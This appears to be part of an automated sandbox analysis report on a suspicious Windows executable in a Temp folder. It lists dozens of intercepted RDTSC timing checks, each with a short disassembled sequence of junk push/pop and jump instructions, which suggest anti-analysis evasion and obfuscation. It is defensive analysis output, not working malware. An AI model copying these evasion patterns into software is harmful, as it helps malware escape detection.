Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7D9297 second address: 7D929D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7E3E99 second address: 7E3EAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jng 00007FB4246CBDECh 0x0000000b js 00007FB4246CBDE6h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7E53E6 second address: 7E53F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FB42454284Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7E53F2 second address: 7E5404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jng 00007FB4246CBDE6h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7E5404 second address: 7E5429 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424542857h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d jng 00007FB424542846h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7E5429 second address: 7E542D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7EAC97 second address: 7EAC9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7EAC9D second address: 7EACBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB4246CBDF0h 0x00000009 ja 00007FB4246CBDE6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7EACBC second address: 7EACC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FB424542846h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7EACC6 second address: 7EACCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7EACCC second address: 7EACFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB424542859h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007FB424542846h 0x00000016 jns 00007FB424542846h 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7EACFC second address: 7EAD02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7F0951 second address: 7F095E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 jbe 00007FB424542846h 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7F095E second address: 7F0965 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7F67EF second address: 7F6814 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FB424542853h 0x0000000c jns 00007FB424542846h 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7F6AE8 second address: 7F6B0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jc 00007FB4246CBE02h 0x0000000b jmp 00007FB4246CBDF2h 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7F6C61 second address: 7F6C77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB424542852h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7F6DE4 second address: 7F6DF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB4246CBDE6h 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7F6F4B second address: 7F6F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jp 00007FB424542848h 0x0000000b jne 00007FB424542848h 0x00000011 pushad 0x00000012 popad 0x00000013 jc 00007FB42454285Dh 0x00000019 jmp 00007FB424542851h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7F6F79 second address: 7F6F88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007FB4246CBDEEh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7F6F88 second address: 7F6F97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007FB424542846h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7F6F97 second address: 7F6F9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7F6F9F second address: 7F6FA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7F6FA4 second address: 7F6FC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FB4246CBDE6h 0x00000009 jmp 00007FB4246CBDF1h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7F6FC0 second address: 7F6FDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB424542853h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7F7130 second address: 7F7134 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7F7272 second address: 7F7278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7F7278 second address: 7F727C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7F727C second address: 7F7282 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7F7282 second address: 7F7288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7FB832 second address: 7FB83A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7FB98E second address: 7FB99A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FB4246CBDE6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7FB99A second address: 7FB99E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 80BD83 second address: 80BDAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDF4h 0x00000007 jmp 00007FB4246CBDF0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 80BDAB second address: 80BDD4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB424542859h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 80BDD4 second address: 80BDDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 80BDDA second address: 80BDDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 80BDDE second address: 80BDE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 80BDE4 second address: 80BDEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 81AC3D second address: 81AC46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 81AAE1 second address: 81AAE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 81AAE5 second address: 81AB0C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB4246CBDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007FB4246CBDF5h 0x00000010 jmp 00007FB4246CBDEDh 0x00000015 push eax 0x00000016 pop eax 0x00000017 popad 0x00000018 push edi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d push edi 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 81D8EB second address: 81D8F4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 81D4BE second address: 81D4C3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 81D5E4 second address: 81D5EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 81D5EA second address: 81D617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007FB4246CBDF1h 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jnp 00007FB4246CBDE6h 0x0000001b jl 00007FB4246CBDE6h 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 81D617 second address: 81D61B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 81D61B second address: 81D624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 81D624 second address: 81D62A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 81D62A second address: 81D62F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 8335B7 second address: 83360D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424542851h 0x00000007 js 00007FB424542846h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007FB42454284Ah 0x00000015 pushad 0x00000016 popad 0x00000017 jng 00007FB424542846h 0x0000001d popad 0x0000001e popad 0x0000001f pushad 0x00000020 pushad 0x00000021 jbe 00007FB424542846h 0x00000027 jmp 00007FB424542857h 0x0000002c push ebx 0x0000002d pop ebx 0x0000002e popad 0x0000002f push eax 0x00000030 push edx 0x00000031 push edi 0x00000032 pop edi 0x00000033 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 83360D second address: 833613 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 837FBC second address: 837FD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a jne 00007FB424542846h 0x00000010 jl 00007FB424542846h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 837FD4 second address: 837FEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB4246CBDEBh 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007FB4246CBDE6h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 837FEC second address: 837FF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 836E8C second address: 836EAB instructions: 0x00000000 rdtsc 0x00000002 je 00007FB4246CBDE8h 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB4246CBDF3h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 836EAB second address: 836EC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007FB424542846h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 836EC0 second address: 836EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 83718D second address: 8371C1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FB424542856h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FB424542854h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 837488 second address: 83748C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 83748C second address: 837494 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 83AAD4 second address: 83AAEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDF2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 83AAEA second address: 83AB15 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB424542848h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007FB42454285Ch 0x00000015 jmp 00007FB424542856h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 83AB15 second address: 83AB1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 83AB1B second address: 83AB1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 83AC3C second address: 83AC5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jnp 00007FB4246CBDFBh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 83AC5A second address: 83AC86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB42454284Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FB42454284Ch 0x00000012 mov eax, dword ptr [eax] 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jnp 00007FB424542846h 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 83C180 second address: 83C189 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 83C189 second address: 83C191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 83C191 second address: 83C197 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 83F9BA second address: 83F9C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB424542846h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 83F9C6 second address: 83F9E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 jbe 00007FB4246CBE01h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB4246CBDEDh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A00DD2 second address: 4A00E4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424542859h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FB42454284Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FB42454284Ch 0x00000019 adc si, 8748h 0x0000001e jmp 00007FB42454284Bh 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007FB424542858h 0x0000002a xor si, 49A8h 0x0000002f jmp 00007FB42454284Bh 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A00E4B second address: 4A00E6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A00E6F second address: 4A00E82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB42454284Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A00E82 second address: 4A00EB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c jmp 00007FB4246CBDECh 0x00000011 popad 0x00000012 pop ebp 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 mov esi, 5EC8563Fh 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E0116 second address: 49E014B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424542859h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB424542853h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E014B second address: 49E0168 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E0168 second address: 49E01E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB424542857h 0x00000008 movzx eax, dx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FB424542851h 0x00000016 sub cx, 8F96h 0x0000001b jmp 00007FB424542851h 0x00000020 popfd 0x00000021 movzx esi, di 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 pushad 0x00000028 mov ecx, 0E13BA1Bh 0x0000002d popad 0x0000002e push dword ptr [ebp+04h] 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 pushad 0x00000035 popad 0x00000036 jmp 00007FB424542859h 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E026B second address: 49E0288 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDF3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 49E0288 second address: 49E028F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov al, bl 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A0068F second address: 4A006A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB4246CBDEDh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A006A5 second address: 4A006AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 4A006AB second address: 4A006AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
